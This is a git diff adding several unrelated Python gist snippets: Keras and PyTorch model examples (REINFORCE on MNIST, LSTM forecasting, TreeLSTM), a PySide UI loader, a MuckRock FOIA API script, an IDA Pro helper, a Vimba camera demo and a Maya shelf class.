+Gets to 98.40% test accuracy after 20 epochs
+(there is *a lot* of margin for parameter tuning).
+2 seconds per epoch on a K520 GPU.
+There are two outputs: out1 that is trained with categorical crossentropy and
+out2 that is trained with REINFORCE. The crosstropy branch does slightly better
+but the REINFORCE branch is mind opening and shows alternatives for non
+differentiable desired functions like number of correct counts (the one used
+here), BLEU scores, etc.
+[1] Simple Statistical Gradient-Following Algorithms for Connectionist
+Reinforcement Learning. R. J. Williams
+'''
+
+from __future__ import print_function
+import numpy as np
+np.random.seed(1337)  # for reproducibility
+
+from keras.datasets import mnist
+from keras.models import Model
+from keras.layers import Dense, Dropout, Activation, Input
+from keras.optimizers import SGD, Adam, RMSprop
+from keras.utils import np_utils
+from keras import backend as K
+
+batch_size = 100
+nb_classes = 10
+nb_epoch = 20
+
+def datagen(X, Y):
+    while 1:
+        for i in range(0, 60000, 100):
+            x = X[i:i+100]
+            y = Y[i:i+100]
+            yield ([x], [y, y])  # multiple inputs/outputs go packed in lists
+
+def REINFORCE(y_true, y_pred):
+    correct = K.argmax(y_true, axis=1)
+    guess = K.argmax(y_pred, axis=1)  # gradients don't flow through this
+    adv = K.equal(correct, guess)  # reward
+    baseline = K.mean(adv)  # baseline
+    adv = adv - baseline  # advantage
+    logit = K.log(K.max(y_pred, axis=1)) # log probability of action taken, this makes our model and advantage actor critic
+    # Keras does cost minimization, but we want to maximize reward probability, thus this minus sign
+    return -adv*logit  # gradient will be -(r-b)*grad(log(pi))
+
+
+
+# the data, shuffled and split between train and test sets
+(X_train, y_train), (X_test, y_test) = mnist.load_data()
+
+X_train = X_train.reshape(60000, 784)
+X_test = X_test.reshape(10000, 784)
+X_train = X_train.astype('float32')
+X_test = X_test.astype('float32')
+X_train /= 255
+X_test /= 255
+print(X_train.shape[0], 'train samples')
+print(X_test.shape[0], 'test samples')
+
+# convert class vectors to binary class matrices
+Y_train = np_utils.to_categorical(y_train, nb_classes)
+Y_test = np_utils.to_categorical(y_test, nb_classes)
+
+X = Input(shape=(784,), name="X")
+
+l1 = Dense(512, activation="relu")(X)
+l2 = Dropout(.2)(l1)
+l3 = Dense(512, activation="relu")(l2)
+l4 = Dropout(.2)(l3)
+out1 = Dense(10, activation="softmax", name="out1")(l4)
+out2 = Dense(10, activation="softmax", name="out2")(l4)
+
+
+model = Model(input=[X], output=[out1, out2])
+model.summary()
+
+model.compile(loss={'out1': 'categorical_crossentropy',
+                    'out2': REINFORCE}, optimizer=RMSprop(),
+    metrics={'out1': 'accuracy', 'out2': 'accuracy'})
+
+model.fit_generator(datagen(X_train, Y_train), len(X_train), nb_epoch=nb_epoch)
+
+score = model.evaluate_generator(datagen(X_test, Y_test), len(X_test))
+print('Test score:', score[0])
+print('Test accuracy:', score[1])
\ No newline at end of file
diff --git a/hard-gists/1aefa4509e066690b892/._snippet.py b/hard-gists/1aefa4509e066690b892/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1aefa4509e066690b892/._snippet.py differ
diff --git a/hard-gists/1aefa4509e066690b892/snippet.py b/hard-gists/1aefa4509e066690b892/snippet.py
new file mode 100644
index 00000000..5cdbcb07
--- /dev/null
+++ b/hard-gists/1aefa4509e066690b892/snippet.py
@@ -0,0 +1,47 @@
+# Time Series Testing 
+import keras.callbacks
+from keras.models import Sequential  
+from keras.layers.core import Dense, Activation, Dense, Dropout
+from keras.layers.recurrent import LSTM
+
+# Call back to capture losses 
+class LossHistory(keras.callbacks.Callback):
+    def on_train_begin(self, logs={}):
+        self.losses = []
+
+    def on_batch_end(self, batch, logs={}):
+        self.losses.append(logs.get('loss'))
+        
+# You should get data frames with prices somewhere, e.g. on Quandl - implementation is up to you
+# merge data frames
+merged = df1.merge(df2, left_index=True, right_index=True, how='inner').dropna()
+
+# data prep
+# use 100 days of historical data to predict 10 days in the future
+data = merged.values
+examples = 100
+y_examples = 10
+nb_samples = len(data) - examples - y_examples
+
+# input - 2 features
+input_list = [np.expand_dims(np.atleast_2d(data[i:examples+i,:]), axis=0) for i in xrange(nb_samples)]
+input_mat = np.concatenate(input_list, axis=0)
+
+# target - the first column in merged dataframe
+target_list = [np.atleast_2d(data[i+examples:examples+i+y_examples,0]) for i in xrange(nb_samples)]
+target_mat = np.concatenate(target_list, axis=0)
+
+# set up model
+trials = input_mat.shape[0]
+features = input_mat.shape[2]
+hidden = 64
+model = Sequential()
+model.add(LSTM(hidden, input_shape=(examples, features)))
+model.add(Dropout(.2))
+model.add(Dense(y_examples))
+model.add(Activation('linear'))
+model.compile(loss='mse', optimizer='rmsprop')
+
+# Train
+history = LossHistory()
+model.fit(input_mat, target_mat, nb_epoch=100, batch_size=400, callbacks=[history])
diff --git a/hard-gists/1b42a20c8f3eb9bb7cb8/._snippet.py b/hard-gists/1b42a20c8f3eb9bb7cb8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1b42a20c8f3eb9bb7cb8/._snippet.py differ
diff --git a/hard-gists/1b42a20c8f3eb9bb7cb8/snippet.py b/hard-gists/1b42a20c8f3eb9bb7cb8/snippet.py
new file mode 100644
index 00000000..3bff083e
--- /dev/null
+++ b/hard-gists/1b42a20c8f3eb9bb7cb8/snippet.py
@@ -0,0 +1,187 @@
+#!/usr/bin/python2
+# -*- coding: utf-8 -*-
+# Copyright (c) 2011 Sebastian Wiesner <lunaryorn@gmail.com>
+# Modifications by Charl Botha <cpbotha@vxlabs.com>
+# * customWidgets support (registerCustomWidget() causes segfault in
+#   pyside 1.1.2 on Ubuntu 12.04 x86_64)
+# * workingDirectory support in loadUi
+
+# found this here:
+# https://github.com/lunaryorn/snippets/blob/master/qt4/designer/pyside_dynamic.py
+
+# Permission is hereby granted, free of charge, to any person obtaining a
+# copy of this software and associated documentation files (the "Software"),
+# to deal in the Software without restriction, including without limitation
+# the rights to use, copy, modify, merge, publish, distribute, sublicense,
+# and/or sell copies of the Software, and to permit persons to whom the
+# Software is furnished to do so, subject to the following conditions:
+
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+# DEALINGS IN THE SOFTWARE.
+
+"""
+    How to load a user interface dynamically with PySide.
+
+    .. moduleauthor::  Sebastian Wiesner  <lunaryorn@gmail.com>
+"""
+
+from __future__ import (print_function, division, unicode_literals,
+                        absolute_import)
+
+import os
+import sys
+
+from PySide.QtCore import Slot, QMetaObject
+from PySide.QtUiTools import QUiLoader
+from PySide.QtGui import QApplication, QMainWindow, QMessageBox
+
+SCRIPT_DIRECTORY = os.path.dirname(os.path.abspath(__file__))
+
+
+class UiLoader(QUiLoader):
+    """
+    Subclass :class:`~PySide.QtUiTools.QUiLoader` to create the user interface
+    in a base instance.
+
+    Unlike :class:`~PySide.QtUiTools.QUiLoader` itself this class does not
+    create a new instance of the top-level widget, but creates the user
+    interface in an existing instance of the top-level class.
+
+    This mimics the behaviour of :func:`PyQt4.uic.loadUi`.
+    """
+
+    def __init__(self, baseinstance, customWidgets=None):
+        """
+        Create a loader for the given ``baseinstance``.
+
+        The user interface is created in ``baseinstance``, which must be an
+        instance of the top-level class in the user interface to load, or a
+        subclass thereof.
+
+        ``customWidgets`` is a dictionary mapping from class name to class object
+        for widgets that you've promoted in the Qt Designer interface. Usually,
+        this should be done by calling registerCustomWidget on the QUiLoader, but
+        with PySide 1.1.2 on Ubuntu 12.04 x86_64 this causes a segfault.
+
+        ``parent`` is the parent object of this loader.
+        """
+
+        QUiLoader.__init__(self, baseinstance)
+        self.baseinstance = baseinstance
+        self.customWidgets = customWidgets
+
+    def createWidget(self, class_name, parent=None, name=''):
+        """
+        Function that is called for each widget defined in ui file,
+        overridden here to populate baseinstance instead.
+        """
+
+        if parent is None and self.baseinstance:
+            # supposed to create the top-level widget, return the base instance
+            # instead
+            return self.baseinstance
+
+        else:
+            if class_name in self.availableWidgets():
+                # create a new widget for child widgets
+                widget = QUiLoader.createWidget(self, class_name, parent, name)
+
+            else:
+                # if not in the list of availableWidgets, must be a custom widget
+                # this will raise KeyError if the user has not supplied the
+                # relevant class_name in the dictionary, or TypeError, if
+                # customWidgets is None
+                try:
+                    widget = self.customWidgets[class_name](parent)
+
+                except (TypeError, KeyError) as e:
+                    raise Exception('No custom widget ' + class_name + ' found in customWidgets param of UiLoader __init__.')
+
+            if self.baseinstance:
+                # set an attribute for the new child widget on the base
+                # instance, just like PyQt4.uic.loadUi does.
+                setattr(self.baseinstance, name, widget)
+
+                # this outputs the various widget names, e.g.
+                # sampleGraphicsView, dockWidget, samplesTableView etc.
+                #print(name)
+
+            return widget
+
+
+def loadUi(uifile, baseinstance=None, customWidgets=None,
+           workingDirectory=None):
+    """
+    Dynamically load a user interface from the given ``uifile``.
+
+    ``uifile`` is a string containing a file name of the UI file to load.
+
+    If ``baseinstance`` is ``None``, the a new instance of the top-level widget
+    will be created.  Otherwise, the user interface is created within the given
+    ``baseinstance``.  In this case ``baseinstance`` must be an instance of the
+    top-level widget class in the UI file to load, or a subclass thereof.  In
+    other words, if you've created a ``QMainWindow`` interface in the designer,
+    ``baseinstance`` must be a ``QMainWindow`` or a subclass thereof, too.  You
+    cannot load a ``QMainWindow`` UI file with a plain
+    :class:`~PySide.QtGui.QWidget` as ``baseinstance``.
+
+    ``customWidgets`` is a dictionary mapping from class name to class object
+    for widgets that you've promoted in the Qt Designer interface. Usually,
+    this should be done by calling registerCustomWidget on the QUiLoader, but
+    with PySide 1.1.2 on Ubuntu 12.04 x86_64 this causes a segfault.
+
+    :method:`~PySide.QtCore.QMetaObject.connectSlotsByName()` is called on the
+    created user interface, so you can implemented your slots according to its
+    conventions in your widget class.
+
+    Return ``baseinstance``, if ``baseinstance`` is not ``None``.  Otherwise
+    return the newly created instance of the user interface.
+    """
+
+    loader = UiLoader(baseinstance, customWidgets)
+
+    if workingDirectory is not None:
+        loader.setWorkingDirectory(workingDirectory)
+
+    widget = loader.load(uifile)
+    QMetaObject.connectSlotsByName(widget)
+    return widget
+
+
+class MainWindow(QMainWindow):
+
+    def __init__(self, parent=None):
+        QMainWindow.__init__(self, parent)
+        loadUi(os.path.join(SCRIPT_DIRECTORY, 'mainwindow.ui'), self)
+
+    @Slot(bool)
+    def on_clickMe_clicked(self, is_checked):
+        if is_checked:
+            message = self.trUtf8(b'I am checked now.')
+        else:
+            message = self.trUtf8(b'I am unchecked now.')
+        QMessageBox.information(self, self.trUtf8(b'You clicked me'), message)
+
+    @Slot()
+    def on_actionHello_triggered(self):
+        QMessageBox.information(self, self.trUtf8(b'Hello world'),
+                                self.trUtf8(b'Greetings to the world.'))
+
+
+def main():
+    app = QApplication(sys.argv)
+    window = MainWindow()
+    window.show()
+    app.exec_()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/1b49c03968b2c83897a4a15c78980b18/._snippet.py b/hard-gists/1b49c03968b2c83897a4a15c78980b18/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1b49c03968b2c83897a4a15c78980b18/._snippet.py differ
diff --git a/hard-gists/1b49c03968b2c83897a4a15c78980b18/snippet.py b/hard-gists/1b49c03968b2c83897a4a15c78980b18/snippet.py
new file mode 100644
index 00000000..526993ee
--- /dev/null
+++ b/hard-gists/1b49c03968b2c83897a4a15c78980b18/snippet.py
@@ -0,0 +1,299 @@
+"""
+TreeLSTM[1] implementation in Pytorch
+
+Based on dynet benchmarks : 
+  https://github.com/neulab/dynet-benchmark/blob/master/dynet-py/treenn.py
+  https://github.com/neulab/dynet-benchmark/blob/master/chainer/treenn.py
+Other References:
+  https://github.com/pytorch/examples/tree/master/word_language_model
+  https://github.com/pfnet/chainer/blob/29c67fe1f2140fa8637201505b4c5e8556fad809/chainer/functions/activation/slstm.py
+  https://github.com/stanfordnlp/treelstm
+
+[1] : Improved Semantic Representations From Tree-Structured Long Short-Term Memory Networks, https://arxiv.org/abs/1503.00075
+"""
+from __future__ import print_function
+import time
+start = time.time()
+
+import re
+import codecs
+from collections import Counter
+import random
+import sys, os, progressbar
+import argparse
+
+import numpy as np
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+import torch.optim as optim
+
+widgets = [progressbar.Percentage(), ' ', progressbar.Bar(), ' ', progressbar.ETA()]
+parser = argparse.ArgumentParser()
+parser.add_argument('--data',dest='data',
+                    help='path to data folder containing {train|dev|test}.txt, default=./data',default="./data")
+parser.add_argument('--size-hidden',dest='n_hidden', type=int, help='hidden size')
+parser.add_argument('--model',dest='model', help='model type rnn|lstm')
+parser.add_argument('--timeout',dest='timeout',type=int, help='timeout in seconds')
+parser.add_argument('--seed',dest='seed',type=int, help='seed',default=0)
+parser.add_argument('--cuda', action='store_true',help='use CUDA')
+args = parser.parse_args()
+
+CUDA=args.cuda
+
+torch.manual_seed(args.seed)
+if torch.cuda.is_available():
+  if not args.cuda:
+    print("WARNING: You have a CUDA device, so you should probably run with --cuda")
+  else:
+    torch.cuda.manual_seed(args.seed)
+
+def makevar(x):
+  v = torch.from_numpy(np.array([x]))
+  if CUDA:
+    return Variable(v.cuda())
+  return Variable(v)
+
+def zeros(dim):
+  v = torch.zeros(dim)
+  if CUDA:
+    return Variable(v.cuda())
+  return Variable(v)
+
+def _tokenize_sexpr(s):
+  tokker = re.compile(r" +|[()]|[^ ()]+")
+  toks = [t for t in [match.group(0) for match in tokker.finditer(s)] if t[0] != " "]
+  return toks
+
+def _within_bracket(toks):
+  label = next(toks)
+  children = []
+  for tok in toks:
+    if tok == "(":
+      children.append(_within_bracket(toks))
+    elif tok == ")":
+      return Tree(label, children)
+    else: children.append(Tree(tok, None))
+  assert(False),list(toks)
+
+class Tree(object):
+  def __init__(self, label, children=None):
+    self.label = label
+    self.children = children
+
+  @staticmethod
+  def from_sexpr(string):
+    toks = iter(_tokenize_sexpr(string))
+    assert next(toks) == "("
+    return _within_bracket(toks)
+
+  def __str__(self):
+    if self.children is None: return self.label
+    return "[%s %s]" % (self.label, " ".join([str(c) for c in self.children]))
+
+  def isleaf(self): return self.children==None
+
+  def leaves_iter(self):
+    if self.isleaf():
+      yield self
+    else:
+      for c in self.children:
+        for l in c.leaves_iter(): yield l
+
+  def leaves(self): return list(self.leaves_iter())
+
+  def nonterms_iter(self):
+    if not self.isleaf():
+      yield self
+      for c in self.children:
+        for n in c.nonterms_iter(): yield n
+
+  def nonterms(self): return list(self.nonterms_iter())
+
+def read_dataset(filename):
+  return [Tree.from_sexpr(line.strip()) for line in codecs.open(filename,"r")]
+
+def get_vocabs(trees):
+  label_vocab = Counter()
+  word_vocab  = Counter()
+  for tree in trees:
+    label_vocab.update([n.label for n in tree.nonterms()])
+    word_vocab.update([l.label for l in tree.leaves()])
+  labels = [x for x,c in label_vocab.iteritems() if c > 0]
+  words   = ["_UNK_"] + [x for x,c in word_vocab.iteritems() if c > 0]
+  l2i = {l:i for i,l in enumerate(labels)}
+  w2i = {w:i for i,w in enumerate(words)}
+  return l2i, w2i, labels, words
+
+class TreeRNN(nn.Module):
+  def __init__(self, word_vocab, hdim, nc):
+    super(TreeRNN, self).__init__()
+    self.embed = nn.Embedding(len(word_vocab), hdim)
+    self.WR = nn.Linear(2*hdim, hdim)
+    self.WO = nn.Linear(hdim, nc)
+    self.WF = nn.Linear(hdim, hdim)
+    self.TANH = nn.Tanh()
+    self.RELU = nn.ReLU()
+    self.SOFTMAX = nn.Softmax()
+    self.w2i = word_vocab
+
+  def expr_for_tree(self, tree, decorate=False):
+    if tree.isleaf():
+      return self.embed(makevar(self.w2i.get(tree.label, 0)))
+    if len(tree.children) == 1:
+      assert(tree.children[0].isleaf())
+      expr = self.expr_for_tree(tree.children[0])
+      if decorate:
+        tree._e = expr
+      return expr
+    assert(len(tree.children) == 2), tree.children[0]
+    e1 = self.expr_for_tree(tree.children[0], decorate)
+    e2 = self.expr_for_tree(tree.children[1], decorate)
+    expr = self.TANH(self.WR(torch.cat((e1, e2),1)))
+    if decorate:
+      tree._e = expr
+    return expr
+
+  def classify(self, e):
+    return self.WO(self.RELU(self.WF(e)))
+
+
+class TreeLSTM(nn.Module):
+  def __init__(self, word_vocab, hdim, nc):
+    super(TreeLSTM, self).__init__()
+    self.embed = nn.Embedding(len(word_vocab), hdim)
+    self.Wi = nn.Linear(hdim, hdim)
+    self.Wo = nn.Linear(hdim, hdim)
+    self.Wu = nn.Linear(hdim, hdim)
+
+    self.Ui  = nn.Linear(2*hdim, hdim)
+    self.Uo  = nn.Linear(2*hdim, hdim)
+    self.Uu  = nn.Linear(2*hdim, hdim)
+
+    self.Uf1 = nn.Linear(hdim, hdim)
+    self.Uf2 = nn.Linear(hdim, hdim)
+
+    self.WO = nn.Linear(hdim, nc)
+    self.WF = nn.Linear(hdim, hdim)
+
+    self.SIGM = nn.Sigmoid()
+    self.TANH = nn.Tanh()
+    self.RELU = nn.ReLU()
+    self.SOFTMAX = nn.Softmax()
+    self.w2i = word_vocab
+
+  def expr_for_tree(self, tree, decorate=False):
+    assert(not tree.isleaf())
+    if len(tree.children) == 1:
+      assert(tree.children[0].isleaf())
+      emb = self.embed(makevar(self.w2i.get(tree.label, 0)))
+
+      i = self.SIGM(self.Wi(emb))
+      o = self.SIGM(self.Wo(emb))
+      u = self.TANH(self.Wu(emb))
+      c = i * u
+      h = o * self.TANH(c)
+
+      if decorate:
+        tree._e = (h,c)
+      return h, c
+
+    assert(len(tree.children) == 2), tree.children[0]
+    e1, c1 = self.expr_for_tree(tree.children[0], decorate)
+    e2, c2 = self.expr_for_tree(tree.children[1], decorate)
+
+    e  = torch.cat((e1, e2),1)
+    i  = self.SIGM(self.Ui(e))
+    o  = self.SIGM(self.Uo(e))
+    f1 = self.SIGM(self.Uf1(e1))
+    f2 = self.SIGM(self.Uf2(e2))
+    u  = self.TANH(self.Uu(e))
+    c  = i * u + f1*c1 + f2*c2
+    h  = o * self.TANH(c)
+
+    if decorate:
+      tree._e = (h,c)
+    return h,c
+
+  def classify(self, e):
+    return self.WO(self.RELU(self.WF(e[0])))
+
+
+def evaluate(treenet, split):
+  eval_start = time.time()
+  n = correct = 0.0
+
+  pbar = progressbar.ProgressBar(widgets = widgets, maxval=len(split)).start()
+  for j,tree in enumerate(split):
+    prediction = treenet.classify(treenet.expr_for_tree(tree, False)).data
+    _,pred = torch.max(prediction,1)
+    correct += (pred == l2i[tree.label]).sum()
+    n += 1
+    pbar.update(j)
+  pbar.finish()
+  eval_time = time.time() - eval_start
+  return correct/n , len(split)/eval_time
+
+trn = read_dataset(os.path.join(args.data,'train.txt'))
+dev = read_dataset(os.path.join(args.data,'dev.txt'))
+tst = read_dataset(os.path.join(args.data,'test.txt'))
+
+l2i, w2i, i2l, i2w = get_vocabs(trn)
+
+if args.model == 'rnn':
+  treenet = TreeRNN(w2i, args.n_hidden, len(l2i))
+elif args.model == 'lstm':
+  treenet = TreeLSTM(w2i, args.n_hidden, len(l2i))
+else:
+  raise NotImplementedError()
+
+if CUDA:
+  treenet.cuda()
+
+optimizer = optim.Adam(treenet.parameters())
+optimizer.zero_grad()
+criterion = nn.CrossEntropyLoss()
+
+
+start_time = time.time()
+print("startup time for %s model: %r" % (args.model,start_time - start))
+
+for ITER in range(100):
+  random.shuffle(trn)
+  closs = 0.0
+  cwords = 0
+  trn_start = time.time()
+
+  pbar = progressbar.ProgressBar(widgets = widgets, maxval=len(trn)).start()
+  for i,tree in enumerate(trn,1):
+    if args.model == 'rnn':
+      h = treenet.expr_for_tree(tree,True)
+    elif args.model == 'lstm':
+      h,c = treenet.expr_for_tree(tree,True)
+    else:
+      raise NotImplementedError()
+
+    nodes = tree.nonterms()
+    losses = [criterion(treenet.classify(nt._e), makevar(l2i[nt.label])) for nt in nodes]
+    loss = sum(losses)
+
+    closs += float(loss.data[0])
+    cwords += len(nodes)
+
+    optimizer.zero_grad()
+    loss.backward()
+    optimizer.step()
+    pbar.update(i)
+  pbar.finish()
+
+  trn_loss = closs / cwords
+  trn_rate = len(trn)/(time.time() - trn_start)
+  val_score, val_rate = evaluate(treenet, dev)
+
+  print("\ntrn loss: {:5.3f} trn speed {:5.1f} sent/sec val acc: {:5.2f} val speed {:5.1f} sent/sec".format(trn_loss,trn_rate,val_score,val_rate))
+
+  if time.time() - start_time > args.timeout:
+    break
+
+tst_score, tst_rate = evaluate(treenet,tst)
+print("test acc: {:5.2f} test speed {:5.1f} sent/sec".format(tst_score,tst_rate))
\ No newline at end of file
diff --git a/hard-gists/1b94c541ffc158d3e668810b75d69405/._snippet.py b/hard-gists/1b94c541ffc158d3e668810b75d69405/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1b94c541ffc158d3e668810b75d69405/._snippet.py differ
diff --git a/hard-gists/1b94c541ffc158d3e668810b75d69405/snippet.py b/hard-gists/1b94c541ffc158d3e668810b75d69405/snippet.py
new file mode 100644
index 00000000..9ddb38fc
--- /dev/null
+++ b/hard-gists/1b94c541ffc158d3e668810b75d69405/snippet.py
@@ -0,0 +1,51 @@
+import json
+import requests
+from datetime import datetime
+import dateutil.relativedelta
+import os 
+
+mr_username = ''
+mr_pass = ''
+api_url = 'https://www.muckrock.com/api_v1/'
+
+
+response = requests.post('https://www.muckrock.com/api_v1/token-auth/', data={'username': mr_username, 'password': mr_pass})
+data = response.json()
+token = data['token']
+print('Token received from MR successfully')
+
+
+def get_headers(token=None):
+    if token:
+        return {
+        'Authorization': 'Token %s' %token,
+        'content-type': 'application/json'
+        }
+    else:
+        return {'content-type': 'application/json'}
+
+
+# first get today's month then subtract one month to grab previous
+s = str(datetime.now())[0:10]
+d = datetime.strptime(s, "%Y-%m-%d")
+d2 = d - dateutil.relativedelta.relativedelta(months=1)
+d2 = str(d2)[0:7]
+
+
+foia_doc = json.dumps({
+    'jurisdiction': 169,
+    'agency': 503,
+    'title': 'Last Month\'s 1505 checks',
+    'document_request': 'For the year and month of ' + d2 + ', I am requesting a list of all 1505 checks expenditures issues by the Bureau of Organized Crime. I am requesting the full list of checks spent by the BoC during the full month of ' + d2 + '. ',
+    })
+
+head = get_headers(token)
+print(head)
+print(type(head))
+
+
+foia_url=api_url+'foia/'
+
+r = requests.post(foia_url, data=foia_doc, headers=head)
+print(r.text)
+print(r.status_code)
diff --git a/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/._snippet.py b/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/._snippet.py differ
diff --git a/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/snippet.py b/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/snippet.py
new file mode 100644
index 00000000..e93ea86e
--- /dev/null
+++ b/hard-gists/1bd64fbbbc07f2a7634bcb9275929dac/snippet.py
@@ -0,0 +1,15 @@
+import idaapi
+import idautils
+
+def iter_all_funcs():
+    for func_ea in idautils.Functions(idaapi.cvar.inf.minEA, idaapi.cvar.inf.maxEA):
+        yield idaapi.get_func(func_ea)
+
+def iter_multichunk_funcs():
+    for func_t in iter_all_funcs():
+        if func_t.tailqty > 0:
+            yield func_t
+
+def delete_multichunk_funcs():
+    for func_t in iter_multichunk_funcs():
+        idaapi.del_func(func_t.startEA)
\ No newline at end of file
diff --git a/hard-gists/1c160c9eee91fd44c587/._snippet.py b/hard-gists/1c160c9eee91fd44c587/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1c160c9eee91fd44c587/._snippet.py differ
diff --git a/hard-gists/1c160c9eee91fd44c587/snippet.py b/hard-gists/1c160c9eee91fd44c587/snippet.py
new file mode 100644
index 00000000..a7e62a3d
--- /dev/null
+++ b/hard-gists/1c160c9eee91fd44c587/snippet.py
@@ -0,0 +1,77 @@
+"""
+This demonstration assumes you have already installed Pymba and followed the installation instructions there:
+https://github.com/morefigs/pymba
+
+MoviePy is used to save the frames to a video file for later viewing, while the frame's mean intensity is
+printed in real time. MoviePy can be installed from pip nicely.
+"""
+import pymba
+from moviepy.video.io.ffmpeg_writer import FFMPEG_VideoWriter as VidWriter
+from skimage.color import gray2rgb
+import time
+
+# Start by getting the Vimba API set up
+# Using the context (i.e. 'with' syntax) is a good idea
+# If something crashes, vimba.shutdown() will get called automatically
+# and your camera will not get left in an unusable state!
+with pymba.Vimba() as vimba:
+    print vimba.getVersion()
+    
+    # Find any cameras that are attached
+    system = pymba.getSystem()
+    system.runFeatureCommand("GeVDiscoveryAllOnce")
+    time.sleep(0.2) # feature commands run in another thread, but need a moment to execute
+    camera_ids = vimba.getCameraIds()
+    
+    # Just use the first camera we found
+    vmb_cam = vimba.getCamera(camera_ids[0])
+    vmb_cam.openCamera()
+    
+    # Set up the camera with the right parameters
+    # Includes examples of setting up the output TTLs
+    vmb_cam.PixelFormat = 'Mono8'
+    vmb_cam.AcquisitionMode = 'Continuous'
+    vmb_cam.BinningHorizontal = 4
+    vmb_cam.BinningVertical = 4
+    vmb_cam.Height = vmb_cam.HeightMax
+    vmb_cam.Width = vmb_cam.WidthMax
+    vmb_cam.AcquisitionFrameRateAbs = 60
+    vmb_cam.SyncOutSelector = 'SyncOut1'
+    vmb_cam.SyncOutSource = 'Exposing'
+    vmb_cam.TriggerSource = 'FixedRate'
+    
+    # Set up the video file where our frames will be logged
+    video_logger = VidWriter(filename="vimba_test.mp4",
+                             size=(vmb_cam.Width, vmb_cam.Height),
+                             fps=vmb_cam.AcquisitionFrameRateAbs,
+                             code='mpeg4',
+                             preset='ultrafast')
+    
+    # Now we set up a callback that will process frames as they arrive
+    def frame_callback(frame):
+        frame_data = frame.getBufferByteData()
+        img = np.ndarray(buffer=frame_data,
+                         dtype=np.uint8,
+                         shape=(frame.height, frame.width))
+        print img.mean()
+        video_logger.write_frame(gray2rgb(img))
+        frame.queueFrameCapture(frame_callback)
+    
+    # Finally, create a buffer of frames. Vimba's way of doing this
+    # is odd: you just make a bunch of frame objects and Vimba decides
+    # what order to fill them in.
+    n_vimba_frames = 10
+    frame_pool = [vmb_cam.getFrame() for _ in xrange(n_vimba_frames)]
+    for frame in frame_pool:
+        frame.announceFrame() # now Vimba knows about the frame... also odd design choice
+        frame.queueFrameCapture(frame_callback)
+        
+    # Start capturing frames!
+    vmb_cam.startCapture()
+    vmb_cam.runFeatureCommand('AcquisitionStart')
+    time.sleep(30) # 30 seconds of acquisition, proves that frames are written on another thread
+    vmb_cam.runFeatureCommand('AcquisitionStop')
+    time.sleep(0.2)
+    vmb_cam.flushCaptureQueue() # unqueues all frames, must be called before endCapture()
+    vmb_cam.endCapture()
+    vmb_cam.revokeAllFrames() # makes Vimba forget about the frames it's just unqueued
\ No newline at end of file
diff --git a/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/._snippet.py b/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/._snippet.py differ
diff --git a/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/snippet.py b/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/snippet.py
new file mode 100644
index 00000000..3d2fa58a
--- /dev/null
+++ b/hard-gists/1c3176fe9e38dcaadd1e56c2f15c95d9/snippet.py
@@ -0,0 +1,78 @@
+import maya.cmds as mc
+
+
+def _null(*args):
+    pass
+
+
+class _shelf():
+    '''A simple class to build shelves in maya. Since the build method is empty,
+    it should be extended by the derived class to build the necessary shelf elements.
+    By default it creates an empty shelf called "customShelf".'''
+
+    def __init__(self, name="customShelf", iconPath=""):
+        self.name = name
+
+        self.iconPath = iconPath
+
+        self.labelBackground = (0, 0, 0, 0)
+        self.labelColour = (.9, .9, .9)
+
+        self._cleanOldShelf()
+        mc.setParent(self.name)
+        self.build()
+
+    def build(self):
+        '''This method should be overwritten in derived classes to actually build the shelf
+        elements. Otherwise, nothing is added to the shelf.'''
+        pass
+
+    def addButon(self, label, icon="commandButton.png", command=_null, doubleCommand=_null):
+        '''Adds a shelf button with the specified label, command, double click command and image.'''
+        mc.setParent(self.name)
+        if icon:
+            icon = self.iconPath + icon
+        mc.shelfButton(width=37, height=37, image=icon, l=label, command=command, dcc=doubleCommand, imageOverlayLabel=label, olb=self.labelBackground, olc=self.labelColour)
+
+    def addMenuItem(self, parent, label, command=_null, icon=""):
+        '''Adds a shelf button with the specified label, command, double click command and image.'''
+        if icon:
+            icon = self.iconPath + icon
+        return mc.menuItem(p=parent, l=label, c=command, i="")
+
+    def addSubMenu(self, parent, label, icon=None):
+        '''Adds a sub menu item with the specified label and icon to the specified parent popup menu.'''
+        if icon:
+            icon = self.iconPath + icon
+        return mc.menuItem(p=parent, l=label, i=icon, subMenu=1)
+
+    def _cleanOldShelf(self):
+        '''Checks if the shelf exists and empties it if it does or creates it if it does not.'''
+        if mc.shelfLayout(self.name, ex=1):
+            if mc.shelfLayout(self.name, q=1, ca=1):
+                for each in mc.shelfLayout(self.name, q=1, ca=1):
+                    mc.deleteUI(each)
+        else:
+            mc.shelfLayout(self.name, p="ShelfLayout")
+
+
+###################################################################################
